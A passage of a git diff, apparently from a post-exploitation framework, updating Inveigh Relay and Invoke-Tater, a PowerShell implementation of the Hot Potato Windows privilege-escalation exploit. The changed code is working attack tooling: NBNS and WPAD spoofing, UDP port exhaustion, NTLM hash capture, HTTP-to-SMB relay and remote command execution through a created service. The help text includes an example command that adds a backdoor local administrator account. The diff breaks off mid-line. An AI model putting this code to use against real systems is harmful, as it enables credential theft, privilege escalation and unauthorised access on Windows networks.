($inveigh.request.RemoteEndpoint.Address -ne $SMBRelayTarget)) { $inveigh.SMB_relay_active_step = 1 @@ -1078,7 +1138,7 @@ $HTTP_scriptblock = } } - if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.repeat)) + if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.spoofer_repeat)) { $inveigh.IP_capture_list += $inveigh.request.RemoteEndpoint.Address } @@ -1104,7 +1164,7 @@ $HTTP_scriptblock = } - if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.repeat)) + if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.spoofer_repeat)) { $inveigh.IP_capture_list += $inveigh.request.RemoteEndpoint.Address } @@ -1146,7 +1206,7 @@ $HTTP_scriptblock = } else { - $inveigh.console_queue.add("NTLMv1 relay not yet supported") + $inveigh.console_queue.add("NTLMv1 SMB relay not yet supported") $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - NTLMv1 relay not yet supported")]) $inveigh.SMB_relay_active_step = 0 $SMB_relay_socket.Close() @@ -1191,7 +1251,74 @@ $HTTP_scriptblock = $HTTP_stream.write($HTTP_buffer, 0, $HTTP_buffer.length) $HTTP_stream.close() - if(!$inveigh.running -and $inveigh.file_output) + } + + $inveigh.HTTP_listener.Stop() + $inveigh.HTTP_listener.Close() +} + +$control_relay_scriptblock = +{ + param ($RunTime) + + if($RunTime) + { + $control_timeout = new-timespan -Minutes $RunTime + $control_stopwatch = [diagnostics.stopwatch]::StartNew() + } + + while ($inveigh.relay_running) + { + + if($RunTime) + { + if($control_stopwatch.elapsed -ge $control_timeout) + { + if($inveigh.HTTP_listener.IsListening) + { + $inveigh.HTTP_listener.Stop() + $inveigh.HTTP_listener.Close() + } + + $inveigh.console_queue.add("Inveigh Relay exited due to run time at $(Get-Date -format 's')") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Relay exited due to run time")]) + Start-Sleep -m 5 + $inveigh.relay_running = $false + + if($inveigh.HTTPS) + { + & "netsh" http delete sslcert ipport=0.0.0.0:443 > $null + + try + { + $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") + $certificate_store.Open('ReadWrite') + $certificate = $certificate_store.certificates.find("FindByThumbprint",$inveigh.certificate_thumbprint,$false)[0] + $certificate_store.Remove($certificate) + $certificate_store.Close() + } + catch + { + if($inveigh.status_output) + { + $inveigh.console_queue.add("SSL Certificate Deletion Error - Remove Manually") + } + + $inveigh.log.add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") + + if($inveigh.file_output) + { + "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually"| Out-File $Inveigh.log_out_file -Append + } + } + } + + $inveigh.HTTP = $false + $inveigh.HTTPS = $false + } + } + + if($inveigh.file_output -and (!$inveigh.running -or !$inveigh.bruteforce_running)) { while($inveigh.log_file_queue.Count -gt 0) { @@ -1210,13 +1337,17 @@ $HTTP_scriptblock = $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append $inveigh.NTLMv2_file_queue.RemoveRange(0,1) } + + while($inveigh.cleartext_file_queue.Count -gt 0) + { + $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append + $inveigh.cleartext_file_queue.RemoveRange(0,1) + } } + Start-Sleep -m 5 } - - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() -} + } # HTTP/HTTPS Listener Startup Function Function HTTPListener() @@ -1248,8 +1379,21 @@ Function HTTPListener() $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument( $SMBRelayTarget).AddArgument($SMBRelayCommand).AddArgument($SMBRelayUsernames).AddArgument( $SMBRelayAutoDisable).AddArgument($SMBRelayNetworkTimeout).AddArgument( - $MachineAccounts).AddArgument($ForceWPADAuth) > $null - $HTTP_handle = $HTTP_powershell.BeginInvoke() + $MachineAccounts).AddArgument($WPADAuth) > $null + $HTTP_powershell.BeginInvoke() > $null +} + +# Control Relay Startup Function +Function ControlRelayLoop() +{ + $control_relay_runspace = [runspacefactory]::CreateRunspace() + $control_relay_runspace.Open() + $control_relay_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $control_relay_powershell = [powershell]::Create() + $control_relay_powershell.Runspace = $control_relay_runspace + $control_relay_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $control_relay_powershell.AddScript($control_relay_scriptblock).AddArgument($RunTime) > $null + $control_relay_powershell.BeginInvoke() > $null } # HTTP Server Start @@ -1258,6 +1402,12 @@ if($inveigh.HTTP -or $inveigh.HTTPS) HTTPListener } +# Control Relay Loop Start +if($RunTime -or $inveigh.file_output) +{ + ControlRelayLoop +} + if(!$inveigh.running -and $inveigh.console_output) { @@ -1274,33 +1424,31 @@ if(!$inveigh.running -and $inveigh.console_output) { switch -wildcard ($inveigh.console_queue[0]) { - "*local administrator*" + "Inveigh *exited *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } - "*NTLMv1 challenge/response written*" + "* written to *" { - if($inveigh.file_output) - { - write-warning $inveigh.console_queue[0] - } + if($inveigh.file_output) + { + write-warning $inveigh.console_queue[0] + } + $inveigh.console_queue.RemoveRange(0,1) } - "*NTLMv2 challenge/response written*" - { - if($inveigh.file_output) - { - write-warning $inveigh.console_queue[0] - } - $inveigh.console_queue.RemoveRange(0,1) - } - "* relay *" + "* for relay *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } - "Service *" + "*SMB relay *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "* local administrator *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) @@ -1327,4 +1475,4 @@ if(!$inveigh.running -and $inveigh.console_output) } } -} +} \ No newline at end of file diff --git a/data/module_source/privesc/Invoke-Tater.ps1 b/data/module_source/privesc/Invoke-Tater.ps1 index c0f7489..551bcab 100644 --- a/data/module_source/privesc/Invoke-Tater.ps1 +++ b/data/module_source/privesc/Invoke-Tater.ps1 @@ -5,10 +5,10 @@ Function Invoke-Tater Invoke-Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation exploit from @breenmachine and @foxglovesec. .DESCRIPTION -Invoke-Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation exploit from @breenmachine and @foxglovesec. It has functionality similiar to Potato.exe available at https://github.com/foxglovesec/Potato. +Invoke-Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation with functionality similiar to Potato.exe available at https://github.com/foxglovesec/Potato. .PARAMETER IP -Specify a specific local IP address. +Specify a specific local IP address. An IP address will be selected automatically if this parameter is not used. .PARAMETER SpooferIP Specify an IP address for NBNS spoofing. This is needed when using two hosts to get around an in-use port 80 on the privesc target. @@ -23,16 +23,16 @@ Default = Enabled: (Y/N) Enable/Disable NBNS bruteforce spoofing. Default = Enabled: (Y/N) Enable/Disable NBNS bruteforce spoofer limiting to stop NBNS spoofing while hostname is resolving correctly. .PARAMETER ExhaustUDP -Default = Disabled: Enable/Disable UDP port exhaustion to force all DNS lookups to fail in order to fallback to NBNS resolution. +Default = Disabled: (Y/N) Enable/Disable UDP port exhaustion to force all DNS lookups to fail in order to fallback to NBNS resolution. .PARAMETER HTTPPort -Default = 80: Specify a TCP port for HTTP listener and redirect response. +Default = 80: Specify a TCP port for the HTTP listener and redirect response. .PARAMETER Hostname -Default = WPAD: Hostname to spoof. "WPAD.DOMAIN.TLD" is required by Windows Server 2008. +Default = WPAD: Hostname to spoof. WPAD.DOMAIN.TLD may be required by Windows Server 2008. .PARAMETER WPADDirectHosts -Comma separated list of hosts to list as direct in the wpad.dat file. Note that 'localhost' is always listed as direct. +Comma separated list of hosts to list as direct in the wpad.dat file. Note that localhost is always listed as direct. .PARAMETER WPADPort Default = 80: Specify a proxy server port to be included in a the wpad.dat file. @@ -40,20 +40,20 @@ Default = 80: Specify a proxy server port to be included in a the wpad.dat file. .PARAMETER Trigger Default = 1: Trigger type to use in order to trigger HTTP to SMB relay. 0 = None, 1 = Windows Defender Signature Update, 2 = Windows 10 Webclient/Scheduled Task +.PARAMETER TaskDelete +Default = Tater: (Y/N) Enable/Disable scheduled task deletion for trigger 2. If enabled, a random string will be added to the taskname to avoid failures after multiple trigger 2 runs. + .PARAMETER Taskname -Default = omg: Scheduled task name to use with trigger 2. +Default = Tater: Scheduled task name to use with trigger 2. If you observe that Tater does not work after multiple trigger 2 runs, try changing the taskname. .PARAMETER RunTime (Integer) Set the run time duration in minutes. .PARAMETER ConsoleOutput -Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell. - -.PARAMETER FileOutput -Default = Disabled: (Y/N) Enable/Disable real time file output. +Default = Enabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell. .PARAMETER StatusOutput -Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. +Default = Enabled: (Y/N) Enable/Disable startup status messages. .PARAMETER ShowHelp Default = Enabled: (Y/N) Enable/Disable the help messages at startup. @@ -62,11 +62,10 @@ Default = Enabled: (Y/N) Enable/Disable the help messages at startup. Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire .EXAMPLE -Invoke-Tater -Command "net user Dave Winter2016 /add && net localgroup administrators Dave /add" +Invoke-Tater -Command "net user Tater Spring2016 /add && net localgroup administrators Tater /add" .LINK https://github.com/Kevin-Robertson/Tater - #> # Default parameter values can be modified in this section @@ -78,6 +77,7 @@ param [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ConsoleOutput="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$StatusOutput="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ShowHelp="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$TaskDelete="Y", [parameter(Mandatory=$false)][ValidateSet("0","1","2")][string]$Tool="0", [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$IP="", [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SpooferIP="127.0.0.1", @@ -99,7 +99,7 @@ if ($invalid_parameter) if(!$IP) { - $IP = (Test-Connection 127.0.0.1 -count 1 | select -ExpandProperty Ipv4Address) + $IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) } if(!$Command) @@ -107,25 +107,18 @@ if(!$Command) Throw "You must specify an -Command if enabling -SMBRelay" } -if(!$tater) -{ - $global:tater = [hashtable]::Synchronized(@{}) -} - if($tater.running) { Throw "Invoke-Tater is already running, use Stop-Tater" } +$global:tater = [hashtable]::Synchronized(@{}) + +$tater.running = $true $tater.console_queue = New-Object System.Collections.ArrayList $tater.status_queue = New-Object System.Collections.ArrayList -$tater.console_output = $true $tater.console_input = $true -$tater.running = $true -$tater.exhaust_UDP_running = $false -$tater.hostname_spoof = $false $tater.SMB_relay_active_step = 0 -$tater.SMB_relay = $true $tater.trigger = $Trigger if($StatusOutput -eq 'y') @@ -216,8 +209,20 @@ elseif($Trigger -eq 1) elseif($Trigger -eq 2) { $tater.status_queue.add("Scheduled Task Trigger Enabled")|Out-Null - $tater.status_queue.add("Scheduled Task = $Taskname")|Out-Null - $tater.taskname = $Taskname + $tater.taskname = $Taskname -replace " ","_" + + if($TaskDelete -eq 'y') + { + $tater.status_queue.add("Scheduled Task Prefix = $Taskname")|Out-Null + $tater.status_queue.add("Scheduled Task Deletion Enabled")|Out-Null + $tater.task_delete = $true + } + else + { + $tater.status_queue.add("Scheduled Task = $Taskname")|Out-Null + $tater.status_queue.add("Scheduled Task Deletion Disabled")|Out-Null + $tater.task_delete = $false + } } if($ConsoleOutput -eq 'y') @@ -267,28 +272,16 @@ if($tater.status_output) } } -$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() |select -expand id +$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id $process_ID = [BitConverter]::ToString([BitConverter]::GetBytes($process_ID)) $process_ID = $process_ID -replace "-00-00","" -[Byte[]]$tater.process_ID_bytes = $process_ID.Split("-") | FOREACH{[CHAR][CONVERT]::toint16($_,16)} +[Byte[]]$tater.process_ID_bytes = $process_ID.Split("-") | ForEach-Object{[CHAR][CONVERT]::toint16($_,16)} # Begin ScriptBlocks # Shared Basic Functions ScriptBlock $shared_basic_functions_scriptblock = { - Function DataToUInt16($field) - { - [Array]::Reverse($field) - return [BitConverter]::ToUInt16($field,0) - } - - Function DataToUInt32($field) - { - [Array]::Reverse($field) - return [BitConverter]::ToUInt32($field,0) - } - Function DataLength { param ([int]$length_start,[byte[]]$string_extract_data) @@ -303,7 +296,7 @@ $shared_basic_functions_scriptblock = $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length-1)]) $string_data = $string_data -replace "-00","" - $string_data = $string_data.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $string_data = $string_data.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $string_extract = New-Object System.String ($string_data,0,$string_data.Length) return $string_extract } @@ -324,9 +317,9 @@ $shared_basic_functions_scriptblock = [DNSAPI.Flush]::FlushResolverCache() } - Function HTTPListenerStop + Function StopTater { - $tater.console_queue.add("$(Get-Date -format 's') - Attempting to stop HTTP listener") + $tater.console_queue.add("$(Get-Date -format 's') - Stopping HTTP listener") $tater.HTTP_client.Close() start-sleep -s 1 $tater.HTTP_listener.server.blocking = $false @@ -334,6 +327,58 @@ $shared_basic_functions_scriptblock = $tater.HTTP_listener.server.Close() Start-Sleep -s 1 $tater.HTTP_listener.Stop() + + if($tater.SMBRelay_success) + { + if($tater.trigger -eq 2) + { + if($tater.task_delete -and $tater.task_added) + { + $scheduled_task_deleted = $false + $schedule_service = new-object -com("Schedule.Service") + $schedule_service.connect() + $scheduled_task_folder = $schedule_service.getfolder("\") + $scheduled_task_list = $scheduled_task_folder.gettasks(1) + + foreach($scheduled_task in $scheduled_task_list) + { + if($scheduled_task.name -eq $tater.task) + { + $scheduled_task_folder.DeleteTask($scheduled_task.name,0) + } + } + + ForEach($scheduled_task in $scheduled_task_list) + { + if($scheduled_task.name -eq $tater.task) + { + $scheduled_task_deleted = $true + } + } + + if($scheduled_task_deleted) + { + $tater.console_queue.add("$(Get-Date -format 's') - Scheduled task " + $tater.task + " deleted successfully") + } + else + { + $tater.console_queue.add("$(Get-Date -format 's') - Scheduled task " + $tater.task + " deletion failed, remove manually") + } + } + elseif($tater.task_added) + { + $tater.console_queue.add("$(Get-Date -format 's') - Remove scheduled task " + $tater.task + " manually when finished") + } + } + + $tater.console_queue.add("$(Get-Date -format 's') - Tater was successful and has exited") + } + else + { + $tater.console_queue.add("$(Get-Date -format 's') - Tater was not successful and has exited") + } + + Start-Sleep -s 1 $tater.running = $false } } @@ -386,19 +431,15 @@ $SMB_relay_challenge_scriptblock = } 1 { - $SMB_length_1 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 32) - $SMB_length_2 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 22) - $SMB_length_3 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 2) - $SMB_NTLMSSP_length = '0x{0:X2}' -f ($HTTP_request_bytes.length) $SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length)) $SMB_blob_length = $SMB_blob_length -replace "-00-00","" - $SMB_blob_length = $SMB_blob_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_blob_length = $SMB_blob_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 28)) $SMB_byte_count = $SMB_byte_count -replace "-00-00","" - $SMB_byte_count = $SMB_byte_count.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_byte_count = $SMB_byte_count.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 87)) $SMB_netbios_length = $SMB_netbios_length -replace "-00-00","" - $SMB_netbios_length = $SMB_netbios_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_netbios_length = $SMB_netbios_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} [array]::Reverse($SMB_netbios_length) [Byte[]] $SMB_relay_challenge_send = (0x00,0x00)` @@ -443,13 +484,13 @@ $SMB_relay_response_scriptblock = $SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length)) $SMB_blob_length = $SMB_blob_length -replace "-00-00","" - $SMB_blob_length = $SMB_blob_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_blob_length = $SMB_blob_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 28)) $SMB_byte_count = $SMB_byte_count -replace "-00-00","" - $SMB_byte_count = $SMB_byte_count.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_byte_count = $SMB_byte_count.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 88)) $SMB_netbios_length = $SMB_netbios_length -replace "-00-00","" - $SMB_netbios_length = $SMB_netbios_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_netbios_length = $SMB_netbios_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} [array]::Reverse($SMB_netbios_length) $j = 0 @@ -496,17 +537,17 @@ $SMB_relay_execute_scriptblock = $SMB_relay_failed = $false $SMB_relay_execute_bytes = New-Object System.Byte[] 1024 - $SMB_service_random = [String]::Join("00-", (1..20 | % {"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)})) + $SMB_service_random = [String]::Join("00-", (1..20 | ForEach-Object{"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)})) $SMB_service = $SMB_service_random -replace "-00","" $SMB_service = $SMB_service.Substring(0,$SMB_service.Length-1) - $SMB_service = $SMB_service.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_service = $SMB_service.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $SMB_service = New-Object System.String ($SMB_service,0,$SMB_service.Length) $SMB_service_random += '00-00-00' - [Byte[]]$SMB_service_bytes = $SMB_service_random.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - $SMB_referent_ID_bytes = [String](1..4 | % {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $SMB_referent_ID_bytes = $SMB_referent_ID_bytes.Split(" ") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + [Byte[]]$SMB_service_bytes = $SMB_service_random.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_referent_ID_bytes = [String](1..4 | ForEach-Object{"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $SMB_referent_ID_bytes = $SMB_referent_ID_bytes.Split(" ") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $Command = "%COMSPEC% /C `"" + $Command + "`"" - [System.Text.Encoding]::ASCII.GetBytes($Command) | % { $SMB_relay_command += "{0:X2}-00-" -f $_ } + [System.Text.Encoding]::UTF8.GetBytes($Command) | ForEach-Object{ $SMB_relay_command += "{0:X2}-00-" -f $_ } if([bool]($Command.length%2)) { @@ -517,7 +558,7 @@ $SMB_relay_execute_scriptblock = $SMB_relay_command += '00-00-00-00' } - [Byte[]]$SMB_relay_command_bytes = $SMB_relay_command.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + [Byte[]]$SMB_relay_command_bytes = $SMB_relay_command.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $SMB_service_data_length_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + $SMB_service_bytes.length + 237) $SMB_service_data_length_bytes = $SMB_service_data_length_bytes[2..0] $SMB_service_byte_count_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + $SMB_service_bytes.length + 237 - 63) @@ -722,7 +763,6 @@ $SMB_relay_execute_scriptblock = elseif((!$SMB_relay_failed) -and ($k -eq 9)) { $tater.console_queue.add("$(Get-Date -format 's') - Command likely executed on $SMBRelayTarget") - $tater.SMB_relay = $false } elseif((!$SMB_relay_failed) -and ($k -eq 11)) { @@ -756,7 +796,7 @@ $SMB_relay_execute_scriptblock = } } -# HTTP/HTTPS Server ScriptBlock - HTTP/HTTPS listener +# HTTP Server ScriptBlock - HTTP listener $HTTP_scriptblock = { param ($Command,$HTTPPort,$WPADDirectHosts,$WPADPort) @@ -767,7 +807,7 @@ $HTTP_scriptblock = $HTTP_timestamp = Get-Date $HTTP_timestamp = $HTTP_timestamp.ToFileTime() $HTTP_timestamp = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_timestamp)) - $HTTP_timestamp = $HTTP_timestamp.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} [byte[]]$HTTP_NTLM_bytes = (0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38,0x00,0x00,0x00,0x05,0xc2,0x89,0xa2)` + $HTTP_challenge_bytes` @@ -789,30 +829,30 @@ $HTTP_scriptblock = $SMBRelayTarget = "127.0.0.1" - $HTTP_port_bytes = [System.Text.Encoding]::ASCII.GetBytes($HTTPPort) + $HTTP_port_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTPPort) $WPADDirectHosts += "localhost" $HTTP_content_length = $WPADPort.length + 62 - foreach($WPAD_direct_host in $WPADDirectHosts) + ForEach($WPAD_direct_host in $WPADDirectHosts) { $HTTP_content_length += $WPAD_direct_host.length + 43 - $HTTP_content_length_bytes = [System.Text.Encoding]::ASCII.GetBytes($HTTP_content_length) - $WPAD_direct_host_bytes = [System.Text.Encoding]::ASCII.GetBytes($WPAD_direct_host) + $HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_content_length) + $WPAD_direct_host_bytes = [System.Text.Encoding]::UTF8.GetBytes($WPAD_direct_host) $WPAD_direct_host_function_bytes = (0x69,0x66,0x20,0x28,0x64,0x6e,0x73,0x44,0x6f,0x6d,0x61,0x69,0x6e,0x49,0x73,0x28,0x68,0x6f,0x73,0x74,0x2c,0x20,0x22)` + $WPAD_direct_host_bytes` +(0x22,0x29,0x29,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x22,0x44,0x49,0x52,0x45,0x43,0x54,0x22,0x3b) $WPAD_direct_hosts_bytes += $WPAD_direct_host_function_bytes } - $WPAD_port_bytes = [System.Text.Encoding]::ASCII.GetBytes($WPADPort) + $WPAD_port_bytes = [System.Text.Encoding]::UTF8.GetBytes($WPADPort) :HTTP_listener_loop while ($tater.running) { if($tater.SMBRelay_success) { - HTTPListenerStop + StopTater } $TCP_request = $NULL @@ -831,7 +871,7 @@ $HTTP_scriptblock = if($tater.SMBRelay_success) { - HTTPListenerStop + StopTater } } @@ -851,7 +891,7 @@ $HTTP_scriptblock = if($TCP_request -like "47-45-54-20*" -or $TCP_request -like "48-45-41-44-20*" -or $TCP_request -like "4f-50-54-49-4f-4e-53-20*") { $HTTP_raw_URL = $TCP_request.Substring($TCP_request.IndexOf("-20-") + 4,$TCP_request.Substring($TCP_request.IndexOf("-20-") + 1).IndexOf("-20-") - 3) - $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $tater.request_RawUrl = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length) if($tater.request_RawUrl -eq "") @@ -864,7 +904,7 @@ $HTTP_scriptblock = { $HTTP_authorization_header = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46) $HTTP_authorization_header = $HTTP_authorization_header.Substring(0,$HTTP_authorization_header.IndexOf("-0D-0A-")) - $HTTP_authorization_header = $HTTP_authorization_header.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $HTTP_authorization_header = $HTTP_authorization_header.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $authentication_header = New-Object System.String ($HTTP_authorization_header,0,$HTTP_authorization_header.Length) } else @@ -933,7 +973,7 @@ $HTTP_scriptblock = if ($HTTP_request_bytes[8] -eq 1) { - if($tater.SMB_relay -and $tater.SMB_relay_active_step -eq 0) + if($tater.SMB_relay_active_step -eq 0) { $tater.SMB_relay_active_step = 1 $tater.console_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay triggered by " + $tater.HTTP_client.Client.RemoteEndpoint.Address) @@ -1025,8 +1065,7 @@ $HTTP_scriptblock = $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_length $HTTP_NTLM_domain_length 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_length $HTTP_NTLM_domain_length $HTTP_NTLM_user_length $HTTP_NTLM_domain_offset $HTTP_request_bytes } - - $NTLM_type = "NTLMv2" + $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" $NTLM_response = $NTLM_response.Insert(32,':') @@ -1034,7 +1073,7 @@ $HTTP_scriptblock = $HTTP_response_phrase = (0x4f,0x4b) $NTLM_challenge = '' - if (($tater.SMB_relay) -and ($tater.SMB_relay_active_step -eq 3)) + if ($tater.SMB_relay_active_step -eq 3) { $tater.console_queue.add("$(Get-Date -format 's') - Sending response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $SMBRelaytarget") $SMB_relay_response_return_bytes = SMBRelayResponse $SMB_relay_socket $HTTP_request_bytes $SMB_user_ID @@ -1178,7 +1217,7 @@ $exhaust_UDP_scriptblock = try { - $host_lookup = [System.Net.Dns]::GetHostEntry("microsoft.com") + [System.Net.Dns]::GetHostEntry("microsoft.com") } catch { @@ -1189,7 +1228,7 @@ $exhaust_UDP_scriptblock = $tater.console_queue.add("$(Get-Date -format 's') - DNS lookup succeeded so UDP exhaustion failed") - foreach ($UDP_port in $UDP_failed_ports_list) + ForEach ($UDP_port in $UDP_failed_ports_list) { try { @@ -1217,10 +1256,10 @@ $spoofer_scriptblock = [Byte[]]$hostname_bytes = (0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x41,0x41,0x00) - $hostname_encoded = [System.Text.Encoding]::ASCII.GetBytes($Hostname) + $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($Hostname) $hostname_encoded = [System.BitConverter]::ToString($hostname_encoded) $hostname_encoded = $hostname_encoded.Replace("-","") - $hostname_encoded = [System.Text.Encoding]::ASCII.GetBytes($hostname_encoded) + $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($hostname_encoded) for ($i=0; $i -lt $hostname_encoded.Count; $i++) { @@ -1286,19 +1325,6 @@ $tater_scriptblock = { param ($NBNS,$NBNSLimit,$RunTime,$SpooferIP,$Hostname,$HTTPPort) - Function HTTPListenerStop - { - $tater.console_queue.add("$(Get-Date -format 's') - Attempting to stop HTTP listener") - $tater.HTTP_client.Close() - start-sleep -s 1 - $tater.HTTP_listener.server.blocking = $false - Start-Sleep -s 1 - $tater.HTTP_listener.server.Close() - Start-Sleep -s 1 - $tater.HTTP_listener.Stop() - $tater.running = $false - } - if($RunTime) { $tater_timeout = new-timespan -Minutes $RunTime @@ -1313,7 +1339,10 @@ $tater_scriptblock = { $Hostname_IP = [System.Net.Dns]::GetHostEntry($Hostname).AddressList[0].IPAddressToString } - catch{} + catch + { + # Don't need output for this + } if($Hostname_IP -eq $SpooferIP) { @@ -1360,43 +1389,51 @@ $tater_scriptblock = if($service_webclient.Status -eq 'Stopped') { $tater.console_queue.add("$(Get-Date -format 's') - Starting WebClient service") - $process_webclient = Start-Process -FilePath "cmd.exe" -Argument "/C pushd \\live.sysinternals.com\tools" -WindowStyle Hidden -passthru -Wait + Start-Process -FilePath "cmd.exe" -Argument "/C pushd \\live.sysinternals.com\tools" -WindowStyle Hidden -passthru -Wait } - if($service_webclient.Status -eq 'Running' -and !$scheduled_task_added -and !$tater.SMBRelay_success) + if($service_webclient.Status -eq 'Running' -and !$tater.task_added -and 